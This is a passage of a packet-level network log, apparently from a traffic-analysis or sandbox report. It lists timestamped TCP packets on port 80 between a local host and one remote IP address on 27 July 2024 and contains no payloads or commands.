Jul 27, 2024 13:30:02.642723083 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.642740965 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.642755985 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.642755985 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.642774105 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.642790079 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.642795086 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.642819881 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.644069910 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.644092083 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.644107103 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.644123077 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.644125938 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.644136906 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.644155025 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.644196987 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.691137075 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.691159010 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.691176891 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.691234112 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.691456079 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.691479921 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.691495895 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.691504955 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.691514015 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.691540003 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.691765070 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.691781998 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.691809893 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.691916943 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.691931963 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.691946983 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.691962004 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.691963911 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.691978931 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.691988945 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.691993952 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.692009926 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.692024946 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.692028999 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.692056894 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.692835093 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.692852020 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.692866087 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.692881107 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.692883968 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.692898035 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.692912102 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.692914009 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.692929983 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.692945957 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.692949057 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.692961931 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.692989111 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.693022966 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.693886042 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.693902969 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.693917036 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.693932056 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.693947077 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.693960905 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.693965912 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.693978071 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.693995953 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.694010019 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.694020987 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.694055080 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.694775105 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.694791079 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.694806099 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.694820881 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.694822073 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.694837093 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.694854021 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.694868088 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.694879055 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.694895029 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.694905043 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.694911003 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.694933891 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.694958925 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.695720911 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.695738077 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.695751905 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.695768118 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.695780993 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.695791960 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.695799112 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.695813894 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.695818901 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.695830107 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.695846081 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.695864916 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.695893049 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.696651936 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.696669102 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.696683884 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.696700096 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.696700096 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.696717024 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.696732998 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.696744919 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.696762085 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.696778059 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.696779013 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.696794033 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.696803093 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.696841955 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.697676897 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.697694063 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.697709084 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.697726011 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.697741032 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.697756052 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.697760105 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.697771072 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.697788954 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.697799921 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.697803974 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.697855949 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.698585033 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.698601007 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.698616028 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.698631048 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.698643923 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.698646069 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.698662996 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.698666096 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.698673010 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.698688984 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.698703051 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.698704958 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.698743105 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.698765039 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.699527025 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.699544907 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.699559927 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.699573994 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.699589014 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.699594975 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.699605942 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.699620962 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.699623108 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.699637890 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.699654102 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.699666023 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.699687958 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.700501919 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.700519085 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.700534105 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.700548887 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.700556993 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.700566053 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.700582981 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.700587034 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.700598955 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.700614929 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.700633049 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.700659990 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.701482058 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.701499939 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.701514959 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.701531887 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.701577902 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.728157043 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.728183031 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.728200912 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.728297949 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.728315115 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.728329897 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.728347063 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.728384018 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.728384972 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.729531050 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.776304007 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.788238049 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.788263083 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.788280964 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.788305998 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.788321018 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.788336992 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.788353920 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.788427114 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.788427114 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.789577961 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.789596081 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.789612055 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.789625883 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.789634943 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.789645910 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.789652109 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.789664030 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.789679050 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.789693117 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.789695024 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.789716005 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.789719105 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.789736032 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.789752007 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.789763927 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.789767027 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.789783001 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.789786100 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.789799929 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.789815903 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.789828062 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.789830923 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.789848089 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.789853096 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.789864063 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.789880991 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.789907932 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.789940119 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.790627956 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.790644884 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.790658951 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.790673018 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.790683031 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.790688992 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.790704966 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.790719032 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.790728092 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.790735960 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.790747881 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.790750027 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.790770054 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.790771961 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.790818930 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.791634083 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.791651011 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.791666985 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.791682005 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.791697025 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.791698933 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.791714907 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.791723967 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.791732073 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.791748047 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.791759968 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.791764021 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.791783094 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.791784048 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.791830063 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.792646885 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.792664051 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.792679071 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.792694092 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.792710066 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.792725086 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.792742014 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.792757034 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.792761087 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.792778015 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.792794943 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.793065071 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.793065071 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.793065071 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.793065071 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.793665886 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.793682098 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.793695927 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.793710947 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.793725014 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.793728113 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.793742895 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.793755054 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.793759108 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.793775082 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.793791056 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.793797970 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.793808937 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.793819904 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.793853998 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.794667959 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.794683933 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.794698954 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.794713974 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.794728994 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.794744968 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.794745922 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.794764042 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.794781923 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.794795990 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.794800997 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.794814110 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.794848919 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.794884920 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.795692921 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.795710087 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.795725107 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.795741081 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.795756102 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.795770884 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.795785904 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.795800924 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.795814991 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.795831919 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.795931101 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.797188044 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.797208071 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.797230959 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.797256947 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.797286987 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.797302961 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.797306061 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.797342062 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.797346115 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.797358990 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.797370911 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.797388077 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.797403097 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.797415018 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.797419071 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.797435999 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.797446966 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.797451973 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.797468901 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.797480106 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.797483921 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.797516108 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.820566893 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.820611000 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.820628881 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.820708990 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.820755959 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.820770979 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.820785999 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.820801020 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.820817947 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.820843935 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.820877075 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.874144077 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.874171019 CEST	80	49730	198.46.176.133	192.168.2.4
